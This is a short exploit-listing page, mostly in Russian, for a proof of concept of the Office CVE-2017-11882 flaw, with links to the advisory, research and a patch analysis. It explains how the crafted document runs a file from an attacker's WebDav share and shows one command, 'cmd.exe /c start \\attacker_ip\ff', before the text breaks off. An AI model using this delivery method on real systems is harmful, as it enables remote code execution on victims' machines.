Exploit for CVE-2017-11882

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-EMBEDI-CVE-2017-11882
# CVE-2017-11882

CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882

MITRE CVE-2017-11882: https://vulners.com/cve/CVE-2017-11882

Исследование: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about

Анализ патча: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html

Демонстрация PoC-эксплуатации: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410

# webdav_exec CVE-2017-11882

Простой PoC для CVE-2017-11882. Этот эксплойт запускает службу WebClient и выполняет удаленный файл с контролируемого злоумышленником WebDav-сервера. Причина, по которой этот подход может быть полезен, — ограничение длины выполняемой команды. Однако с помощью WebDav можно запустить произвольный исполняемый файл, контролируемый злоумышленником, на уязвимой машине. Этот скрипт создает простой документ с несколькими OLE-объектами. Эти объекты эксплуатируют CVE-2017-11882, что приводит к последовательному выполнению команд.

Первая команда, запускающая службу WebClient, может выглядеть так:

root@kitploit:~
    
    
    cmd.exe /c start \\attacker_ip\ff
    

Путь к исполняемому файлу, контролируемому злоумышленником, должен быть UNC-сетевым путем: